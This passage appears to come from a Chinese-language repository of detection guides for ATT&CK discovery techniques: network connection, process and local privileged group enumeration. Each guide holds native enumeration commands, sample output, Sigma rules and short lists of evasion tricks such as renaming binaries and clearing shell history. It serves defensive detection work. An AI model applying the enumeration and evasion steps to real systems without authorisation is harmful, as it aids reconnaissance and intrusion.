通常只需普通用户权限；`net session` 和 WMI 可能需要管理员权限。\n- Linux 命令（`netstat`、`ss`）可由普通用户执行。\n- 输出结果可能因网络活动和系统配置而异。\n\n## 检测日志\n\n- **Windows**：\n  - **安全日志**：\n    - 事件 ID 4688：进程创建，记录 `netstat.exe`、`net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n  - **Sysmon 日志**：\n    - 事件 ID 1：进程创建，包含命令行参数。\n    - 事件 ID 3：网络连接，记录发现工具发起的出站连接。\n  - **PowerShell 日志**：\n    - 事件 ID 4103/4104：记录 PowerShell 脚本执行，例如 `Get-NetTCPConnection`。\n- **Linux**：\n  - **系统日志**：`/var/log/auth.log` 或 `/var/log/secure`，记录命令执行。\n  - **命令历史**：`~/.bash_history` 中记录 `netstat` 或 `ss`。\n  - **Auditd 日志**：`execve` 事件记录 `netstat` 或 `ss` 执行。\n- **要求**：\n  - Windows：启用 `Audit Process Creation`（安全日志）、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程和网络监控。\n  - Linux：启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。\n\n## 测试留痕\n\n- **Windows**：\n  - **进程相关**：\n    - 进程创建：`netstat.exe`, `net.exe`, `powershell.exe`, `wmic.exe`.\n    - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n    - 命令行参数：`netstat -ano`, `net use`, `Get-NetTCPConnection`。\n  - **文件访问**：\n    - 可能的输出文件（如 `netstat -ano > connections.txt`）。\n  - **网络记录**：\n    - 出站连接查询（如 DNS、LDAP 或 SMB，端口 53、445）。\n  - **隐藏手段**：\n    - 重命名工具（如 `netstat.exe` 改为 `svc.exe`）。\n    - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n    - 重定向输出到文件或通过网络传输，避免本地记录。\n- **Linux**：\n  - **命令历史**：\n    - `netstat` 或 `ss` 记录在 `~/.bash_history` 中。\n  - **系统日志**：\n    - `/var/log/auth.log` 或 `/var/log/secure` 记录命令执行。\n  - **隐藏手段**：\n    - 清空或修改 .bash_history`。\n    - 使用非交互式 shell 避免记录。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n#### Windows\n```yml\ntitle: Windows系统网络连接发现\ndescription: 检测通过netstat、net use、net session、PowerShell或WMI执行Windows系统网络连接发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1049/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md\ntags:\n  - attack.discovery\n  - attack.t1049\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\netstat.exe'\n      - '\\net.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - 'netstat'\n      - 'use'\n      - 'session'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-NetTCPConnection'\n      - 'Get-NetUDPEndpoint'\n  selection_wmi:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith: '\\wmic.exe'\n    ProcessCommandLine|contains: 'Win32_NetworkConnection'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\netstat.exe'\n      - '\\net.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'netstat'\n      - 'use'\n      - 'session'\n      - 'Get-NetTCPConnection'\n      - 'Win32_NetworkConnection'\n  condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具可能触发类似行为\n  - 管理员手动运行网络诊断命令\n```\n\n#### Linux\n```yml\ntitle: Linux系统网络连接发现\ndescription: 检测通过netstat或ss执行Linux系统网络连接发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1049/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md\ntags:\n  - attack.discovery\n  - attack.t1049\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: linux\n  service: auth\ndetection:\n  selection:\n    EventType: execve\n    Command|contains:\n      - 'netstat'\n      - 'ss'\n  condition: selection\n  timeframe: 5m\nfields:\n  - Command\nlevel: medium\nfalsepositives:\n  - 系统管理员运行网络诊断命令\n  - 自动化脚本执行netstat或ss\n```\n\n### 检测思路\n1. **Windows 进程监控**：\n   - 监控 `netstat.exe`、`net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `netstat`、`use`、`session` 或 `Get-NetTCPConnection` 的行为。\n2. **Windows PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-NetTCPConnection` 或 `Get-NetUDPEndpoint` 的执行。\n3. **Windows WMI 监控**：\n   - 检测 `wmic.exe` 进程启动，尤其是命令行中包含 `Win32_NetworkConnection` 的情况。\n4. **Linux 命令监控**：\n   - 使用 `auditd` 或系统日志监控 `netstat` 和 `ss` 命令的执行。\n5. **行为分析**：\n   - 检测短时间内高频的网络查询行为（5 分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**：\n   - **Windows**：\n     - 限制普通用户对网络查询工具（如 `netstat`、`net`）的执行权限。\n     - 启用组策略，限制 PowerShell 和 WMIC 的使用。\n     - 部署 EDR 工具，监控异常网络查询行为。\n     - 使用防火墙阻止未经授权的 DNS（53）、LDAP（389）或 SMB（445）流量。\n   - **Linux**：\n     - 限制普通用户对 `netstat` 和 `ss` 的执行权限。\n     - 使用 `auditd` 监控网络相关命令执行。\n2. **检测优化**：\n   - 监控短时间内高频的网络查询行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 DNS（53）、LDAP（389）或 SMB（445）流量，识别网络连接发现。\n3. **降低误报**：\n   - 排除已知的 IT 管理工具或合法脚本触发的行为。\n   - 配置白名单，过滤常见管理员操作（如 `netstat` 用于诊断）。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `nmap`、PsTools 的 `PsPing`）或自定义脚本，建议监控未知可执行文件的运行和异常网络流量。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1049  \n  <https://attack.mitre.org/techniques/T1049/>\n- Atomic Red Team - T1049 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md>\n"
  },
  {
    "path": "Windows/09发现/T1057-win-进程发现.md",
    "content": "# T1057-Win-进程发现\n\n## 描述\n\n攻击者通过进程发现（T1057）获取系统上运行的进程信息，以了解目标环境的软件运行情况、关键服务或安全工具（如防病毒软件、EDR）。这些信息可用于规划后续攻击，例如识别可利用的服务、规避防御机制或支持横向移动、权限提升。在 Windows 系统中，攻击者可能使用原生工具如 `tasklist`、`wmic`、PowerShell 命令（如 `Get-Process`、`Get-CimInstance Win32_Process`）或 WMI 查询枚举进程。在 Linux 系统中，攻击者可能使用 `ps`、`top`、`htop` 或直接访问 `/proc` 文件系统获取进程信息。进程发现通常是攻击链中的早期阶段，帮助攻击者收集环境情报，识别高价值目标或规避安全控制。本文档聚焦于 Windows 平台的检测与防御，Linux 平台作为辅助参考。\n\n## 测试案例\n\n### 环境\n- **Windows**：Windows Server 2016 / Windows 10，普通用户或管理员权限\n- **Linux**：Ubuntu 20.04，普通用户权限\n- **工具**：CMD、PowerShell、WMIC（Windows）；`ps`、`top`（Linux）\n\n### 测试案例 1：Windows - 使用 `tasklist`\n```dos\ntasklist\n```\n**输出示例**:\n```\n映像名称                       PID 会话名              会话#       内存使用\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0      1,532 K\nRegistry                       108 Services                   0     83,764 K\nsmss.exe                       412 Services                   0      1,208 K\ncsrss.exe                      548 Services                   0      5,644 K\n```\n**说明**：\n- 列出所有运行进程，包括 PID、会话和内存使用情况。\n- 普通用户权限即可执行。\n\n### 测试案例 2：Windows - 使用 PowerShell `Get-Process`\n```powershell\nGet-Process\n```\n**输出示例**:\n```\nHandles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName\n-------  ------    -----      -----     ------     --  -- -----------\n    145       8     1584       9560       0.06   7952   1 ChsIME\n    166      10     2060      10284              1656   1 coherence\n    120       7     1440       6560              3480   0 coherence\n    192      12     4848      16080       0.11   9704   1 conhost\n    583      21     1864       5644               548   0 csrss\n```\n**说明**：\n- 枚举进程详细信息，包括句柄、内存和 CPU 使用。\n- 普通用户权限。\n\n### 测试案例 3：Windows - 使用 WMIC\n```dos\nwmic process list brief\n```\n**输出示例**:\n```\nHandleCount  Name                         Priority  ProcessId  ThreadCount  WorkingSetSize\n0            System Idle Process          0         0          4            8192\n2922         System                       8         4          169          1568768\n0            Registry                     8         108        4            81625088\n53           smss.exe                     11        412        2            1236992\n583          csrss.exe                    13        548        12           5779456\n165          wininit.exe                  13        656        1            7458816\n```\n**说明**：\n- 列出进程简要信息，包括句柄数、优先级和内存。\n- 普通用户权限，通常无需管理员权限。\n\n### 测试案例 4：Linux - 使用 `ps`\n```bash\nps aux\n```\n**输出示例**:\n```\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.1 169984  9168 ?        Ss   10:00   0:01 /sbin/init\nroot         123  0.0  0.2 245672 12344 ?        Ss   10:01   0:00 /usr/sbin/sshd\nuser        1001  0.0  0.1  18232  2348 pts/0    R+   10:05   0:00 ps aux\n```\n**说明**：\n- 列出所有进程，包括用户、PID、CPU 和内存使用。\n- 普通用户权限。\n\n### 测试案例 5：Linux - 使用 `top`\n```bash\ntop\n```\n**输出示例**:\n```\nTasks:  95 total,   1 running,  94 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  0.3 us,  0.2 sy,  0.0 ni, 99.5 id,  0.0 wa,  0.0 hi,  0.0 si\nMiB Mem :   1987.3 total,   1500.2 free,    300.5 used,    186.6 buff/cache\nMiB Swap:   2048.0 total,   2048.0 free,      0.0 used.   1686.8 avail Mem\n\n  PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n    1 root      20   0  169984   9168   6720 S   0.0   0.5   0:01.23 systemd\n  123 root      20   0  245672  12344   8920 S   0.0   0.6   0:00.45 sshd\n 1001 user      20   0   18232   2348   1984 R   0.0   0.1   0:00.02 top\n```\n**说明**：\n- 实时显示进程信息，包括 CPU 和内存使用。\n- 普通用户权限。\n\n**注意**：\n- Windows 命令（`tasklist`、`Get-Process`、`wmic`）通常无需管理员权限。\n- Linux 命令（`ps`、`top`）可由普通用户执行。\n- 输出结果可能因系统负载和配置而异。\n\n## 测试复现\n\n### 复现环境\n- **Windows**：Windows Server 2016，普通用户权限，CMD 或 PowerShell\n- **Linux**：Ubuntu 20.04，普通用户权限，终端\n\n### 复现步骤\n1. **Windows - 使用 `tasklist`**：\n   ```dos\n   tasklist > C:\\Temp\\processes.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\processes.txt`，包含进程列表。\n   - Sysmon 事件 ID 1 记录 `tasklist.exe` 执行。\n   - 安全日志事件 ID 4688 记录进程创建。\n\n2. **Windows - 使用 PowerShell**：\n   ```powershell\n   Get-Process | Out-File C:\\Temp\\ps_processes.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\ps_processes.txt`，包含进程详细信息。\n   - PowerShell 日志事件 ID 4104 记录 `Get-Process` 执行。\n\n3. **Linux - 使用 `ps`**：\n   ```bash\n   ps aux > /tmp/processes.txt\n   ```\n   **预期输出**：\n   - 生成 `/tmp/processes.txt`，包含进程列表。\n   - `/var/log/auth.log` 或 `auditd` 记录 `ps` 执行。\n   - `~/.bash_history` 记录命令。\n\n### 验证\n- 检查输出文件内容，确认包含进程信息。\n- 验证日志（Windows：安全日志、Sysmon；Linux：`auth.log`、`auditd`）是否记录命令执行。\n\n## 检测日志\n\n- **Windows**：\n  - **安全日志**：\n    - 事件 ID 4688：进程创建，记录 `tasklist.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n  - **Sysmon 日志**：\n    - 事件 ID 1：进程创建，包含命令行参数（如 `tasklist`、`Get-Process`）。\n  - **PowerShell 日志**：\n    - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-Process` 或 `Get-CimInstance`.\n- **Linux**：\n  - **系统日志**：`/var/log/auth.log` 或 `/var/log/secure`，记录 `ps` 或 `top` 命令执行。\n  - **命令历史**：`~/.bash_history` 中记录 `ps` 或 `top`。\n  - **Auditd 日志**：`execve` 事件记录 `ps` 或 `top` 执行。\n- **要求**：\n  - Windows：启用 `Audit Process Creation`（安全日志）、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程监控。\n  - Linux：启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。\n\n## 测试留痕\n\n- **Windows**：\n  - **进程相关**：\n    - 进程创建：`tasklist.exe`、`powershell.exe`、`wmic.exe`。\n    - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n    - 命令行参数：如 `tasklist`、`Get-Process`、`wmic process list`.\n  - **文件相关**：\n    - 输出文件：如 `C:\\Temp\\processes.txt`（`tasklist > processes.txt`）。\n  - **隐藏手段**：\n    - 重命名 `tasklist.exe`（如 `svc.exe`）。\n    - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n    - 重定向输出到文件或通过网络传输以减少本地日志。\n- **Linux**：\n  - **命令历史**：\n    - `ps` 或 `top` 记录在 `~/.bash_history`。\n  - **文件相关**：\n    - 输出文件：如 `/tmp/processes.txt`（`ps aux > processes.txt`）。\n  - **系统日志**：\n    - `/var/log/auth.log` 或 `/var/log/secure` 记录命令执行。\n  - **隐藏手段**：\n    - 清空或修改 `~/.bash_history`。\n    - 使用非交互式 shell 避免记录。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n#### Windows\n```yml\ntitle: Windows进程发现\ndescription: 检测通过tasklist、PowerShell或WMIC执行Windows进程发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1057/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1057/T1057.md\ntags:\n  - attack.discovery\n  - attack.t1057\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\tasklist.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'tasklist'\n      - 'process list'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-Process'\n      - 'Get-CimInstance Win32_Process'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\tasklist.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'tasklist'\n      - 'Get-Process'\n      - 'process list'\n  condition: selection_cmd or selection_powershell or selection_sysmon\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\nlevel: medium\nfalsepositives:\n  - 管理员运行 tasklist 或 PowerShell 进行系统诊断\n  - 合法 IT 管理工具触发类似行为\n```\n\n#### Linux\n```yml\ntitle: Linux进程发现\ndescription: 检测通过ps、top或/proc访问执行Linux进程发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1057/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1057/T1057.md\ntags:\n  - attack.discovery\n  - attack.t1057\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: linux\n  service: auth\ndetection:\n  selection:\n    EventType: execve\n    Command|contains:\n      - 'ps'\n      - 'top'\n      - '/proc'\n  condition: selection\n  timeframe: 5m\nfields:\n  - Command\nlevel: medium\nfalsepositives:\n  - 系统管理员运行 ps 或 top 进行诊断\n  - 自动化脚本执行类似命令\n```\n\n### 检测思路\n1. **Windows 进程监控**：\n   - 监控 `tasklist.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `tasklist`、`Get-Process` 或 `process list` 的行为。\n2. **Windows PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-Process` 或 `Get-CimInstance Win32_Process` 的执行。\n3. **Linux 命令监控**：\n   - 使用 `auditd` 或系统日志监控 `ps`、`top` 和 `/proc` 访问的执行。\n4. **行为分析**：\n   - 检测短时间内高频的进程查询行为（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n\n## 建议\n\n1. **防御措施**：\n   - **Windows**：\n     - 限制普通用户对 `tasklist`、`wmic` 的执行权限。\n     - 启用组策略，限制 PowerShell 脚本执行。\n     - 部署 EDR 工具，监控异常进程查询行为。\n   - **Linux**：\n     - 限制普通用户对 `ps` 和 `top` 的执行权限。\n     - 使用 `auditd` 监控进程相关命令执行。\n2. **检测优化**：\n   - 监控短时间内高频的进程查询行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测可能的输出文件创建（如 `processes.txt`）。\n3. **降低误报**：\n   - 排除管理员用于诊断的合法 `tasklist` 或 `ps` 操作。\n   - 配置白名单，过滤已知IT管理工具。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `procdump`、Sysinternals 的 `pslist`），建议监控未知可执行文件的运行。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1057  \n  <https://attack.mitre.org/techniques/T1057/>\n- MITRE ATT&CK: T1518（安全软件发现）  \n  <https://attack.mitre.org/techniques/T1518/>\n- Atomic Red Team - T1057 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1057/T1057.md>\n"
  },
  {
    "path": "Windows/09发现/T1069.001-Win-本地特权组用户枚举.md",
    "content": "# T1069.001-Win-AD特权组/用户枚举\n\n## 描述\n\n攻击者通过本地组权限发现（T1069.001）枚举 Windows 系统上的本地组及其成员，以识别高权限账户（如 Administrators 组成员）或权限配置漏洞。这些信息可帮助攻击者确定哪些用户具有本地管理权限，为后续权限提升、横向移动或持久化攻击做准备。在 Windows 系统中，攻击者可能使用原生工具如 `net user`、`net localgroup`、`net group`（域环境），或 PowerShell 命令（如 `Get-LocalGroupMember`、`Get-NetLocalGroupMember`）和 WMI 查询（如 `Win32_GroupUser`）来枚举本地组及其成员。攻击者可能特别关注 Administrators 组，以识别可用于提权的账户。本文档聚焦于 Windows 平台下本地特权组和用户枚举的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10，域或非域环境\n- 权限：普通用户权限（部分命令需管理员权限）\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `net user`\n**关联技术**：T1069.001（本地用户枚举）\n```dos\nnet user\n```\n**输出示例**:\n```\n\\\\DESKTOP-4C7J879 的用户帐户\n\n-------------------------------------------------------------------------------\nAdministrator            DefaultAccount           Guest\nheihei                   WDAGUtilityAccount\n命令成功完成。\n```\n**说明**：\n- 列出本地系统上的所有用户账户。\n- 普通用户权限即可执行。\n\n### 测试案例 2：使用 `net localgroup administrators`\n**关联技术**：T1069.001（本地特权组枚举）\n```dos\nnet localgroup administrators\n```\n**输出示例**:\n```\n别名     administrators\n注释     管理员对计算机/域有不受限制的完全访问权\n\n成员\n\n-------------------------------------------------------------------------------\nAdministrator\nheihei\n命令成功完成。\n```\n**说明**：\n- 列出 Administrators 组的成员。\n- 普通用户权限，通常无需管理员权限。\n\n### 测试案例 3：使用 `net group`（域环境）\n**关联技术**：T1069.001（域组枚举）\n```dos\nnet group \"Domain Admins\" /domain\n```\n**输出示例**:\n```\n组名     Domain Admins\n注释     指定的网络管理员\n\n成员\n\n-------------------------------------------------------------------------------\nadmin1                   admin2\n命令成功完成。\n```\n**说明**：\n- 枚举域环境中 Domain Admins 组的成员。\n- 需要域用户权限。\n\n### 测试案例 4：使用 PowerShell `Get-LocalGroupMember`\n**关联技术**：T1069.001（本地特权组枚举）\n```powershell\nGet-LocalGroupMember -Group \"Administrators\"\n```\n**输出示例**:\n```\nObjectClass Name                          PrincipalSource\n----------- ----                          ---------------\n用户        DESKTOP-4C7J879\\Administrator Local\n用户        DESKTOP-4C7J879\\heihei        Local\n```\n**说明**：\n- 列出 Administrators 组的成员及其来源。\n- 普通用户权限。\n\n### 测试案例 5：使用 WMIC\n**关联技术**：T1069.001（本地组枚举）\n```dos\nwmic group where name=\"Administrators\" get name,sid\n```\n**输出示例**:\n```\nName           SID\nAdministrators S-1-5-32-544\n```\n**说明**：\n- 列出 Administrators 组的名称和 SID。\n- 普通用户权限。\n\n**注意**：\n- `net user` 和 `net localgroup` 通常无需管理员权限。\n- `net group /domain` 需域用户权限且在域环境中运行。\n- PowerShell 和 WMIC 命令可能因系统配置需要管理员权限。\n- 输出结果可能因系统和域配置而异。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10，域或非域环境\n- 权限：普通用户权限，CMD 或 PowerShell\n- 工具：CMD、PowerShell\n\n### 复现步骤\n1. **使用 `net user`**：\n   ```dos\n   net user > C:\\Temp\\users.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\users.txt`，包含本地用户列表。\n   - 安全日志事件 ID 4798 记录组成员枚举。\n   - Sysmon 事件 ID 1 记录 `net.exe` 执行。\n\n2. **使用 `net localgroup administrators`**：\n   ```dos\n   net localgroup administrators > C:\\Temp\\admins.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\admins.txt`，包含 Administrators 组成员。\n   - 安全日志事件 ID 4799 记录本地组枚举。\n   - Sysmon 事件 ID 1 记录 `net.exe` 执行。\n\n3. **使用 PowerShell**：\n   ```powershell\n   Get-LocalGroupMember -Group \"Administrators\" | Out-File C:\\Temp\\ps_admins.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\ps_admins.txt`，包含 Administrators 组成员。\n   - PowerShell 日志事件 ID 4104 记录 `Get-LocalGroupMember` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行。\n\n### 验证\n- 检查输出文件内容，确认包含用户或组信息。\n- 验证日志：\n  - 安全日志：事件 ID 4688（进程创建）、4798（用户组枚举）、4799（本地组枚举）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n- 确认系统版本支持 4798/4799 事件（Windows Server 2016/Windows 10 及以上）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `net.exe`、`net1.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n  - 事件 ID 4798：用户本地组成员身份被枚举（如 `net user`）。\n  - 事件 ID 4799：启用了安全机制的本地组成员身份被枚举（如 `net localgroup administrators`）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `net user`、`net localgroup`）。\n  - 事件 ID 11：文件创建，记录输出文件（如 `net user > users.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-LocalGroupMember` 或 `Get-NetLocalGroupMember`。\n- **要求**：\n  - 启用 `Audit Security Group Management`（事件 ID 4798/4799，Windows Server 2016/Windows 10 及以上）。\n  - 启用 `Audit Process Creation`（事件 ID 4688）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）和文件创建（事件 ID 11）监控。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - 事件 ID 4798/4799 仅适用于 Windows Server 2016/Windows 10 及以上版本，需确保系统版本支持。\n  - 日志输出可能因系统配置（如审计策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`net.exe`、`net1.exe`、`powershell.exe`、`wmic.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `net user`、`net localgroup administrators`、`Get-LocalGroupMember`。\n- **文件相关**：\n  - 输出文件：如 `C:\\Temp\\users.txt`（`net user > users.txt`）或 `C:\\Temp\\admins.txt`。\n- **网络痕迹**：\n  - 域环境中的 LDAP 查询（端口 389/636），用于 `net group /domain`。\n- **安全日志**：\n  - 事件 ID 4798：用户本地组成员枚举。\n  - 事件 ID 4799：安全本地组成员枚举。\n- **隐藏手段**：\n  - 重命名 `net.exe` 或 `net1.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 删除输出文件（如 `del users.txt`）。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yaml\ntitle: Windows 本地特权组和用户枚举\nid: 9f3g4h9j-6i7k-9j8e-g0i1-3j5i7k4m9f2g\ndescription: 检测通过 net、PowerShell 或 WMI 枚举 Windows 本地特权组和用户的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1069/001/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069.001/T1069.001.md\ntags:\n  - attack.discovery\n  - attack.t1069.001\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\net.exe'\n      - '\\net1.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'user'\n      - 'localgroup'\n      - 'group'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-LocalGroupMember'\n      - 'Get-NetLocalGroupMember'\n      - 'Get-CimInstance Win32_GroupUser'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\net.exe'\n      - '\\net1.exe'\n      - '\\powershell.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'user'\n      - 'localgroup administrators'\n      - 'group /domain'\n      - 'Win32_GroupUser'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n    TargetFilename|contains:\n      - 'user'\n      - 'admin'\n  selection_group:\n    EventID:\n      - 4798 # 用户本地组成员枚举\n      - 4799 # 安全本地组成员枚举\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_group\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - EventID\nlevel: medium\nfalsepositives:\n  - 管理员运行 net 或 PowerShell 进行用户和组管理\n  - 合法 IT 管理工具触发类似行为\n```\n\n### 检测思路\n1. **进程监控**：\n   - 监控 `net.exe`、`net1.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `user`、`localgroup` 或 `group` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-LocalGroupMember`、`Get-NetLocalGroupMember` 或 `Get-CimInstance Win32_GroupUser` 的执行。\n3. **文件监控**：\n   - 检测文本文件创建（事件 ID 11），特别是文件名包含 `user` 或 `admin` 的文件。\n4. **组枚举监控**：\n   - 监控事件 ID 4798/4799，检测本地组或用户成员枚举。\n5. **行为分析**：\n   - 检测短时间内高频的组枚举行为（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、未知父进程或非常规时间段。\n   - 在域环境中，监控 LDAP（389/636）流量，识别 `net group /domain`。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `net.exe`、`net1.exe` 和 `wmic.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（如 `Get-LocalGroupMember`）。\n   - 部署 EDR 工具，监控异常用户或组枚举行为。\n   - 在域环境中，使用防火墙阻止未经授权的 LDAP（389/636）流量。\n   - 定期审计本地和域组成员，移除不必要的管理员账户。\n2. **检测优化**：\n   - 监控短时间内高频的组枚举行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（如 `users.txt`、`admins.txt`）。\n   - 在域环境中，监控 LDAP 查询，识别 `net group /domain` 行为。\n3. **降低误报**：\n   - 排除管理员用于用户管理的合法 `net` 或 PowerShell 操作。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证事件 ID 4798/4799 的触发来源，确保与攻击行为相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 PowerView、ADRecon）进行枚举，建议监控类似 LDAP 查询或组枚举行为。\n   - 检测未知可执行文件的运行和异常文件创建。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1069-001  \n  <https://attack.mitre.org/techniques/T1069/001/>\n- Atomic Red Team - T1069.001 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069.001/T1069.001.md>\n"
  },
  {
    "path": "Windows/09发现/T1082-win-系统信息发现.md",
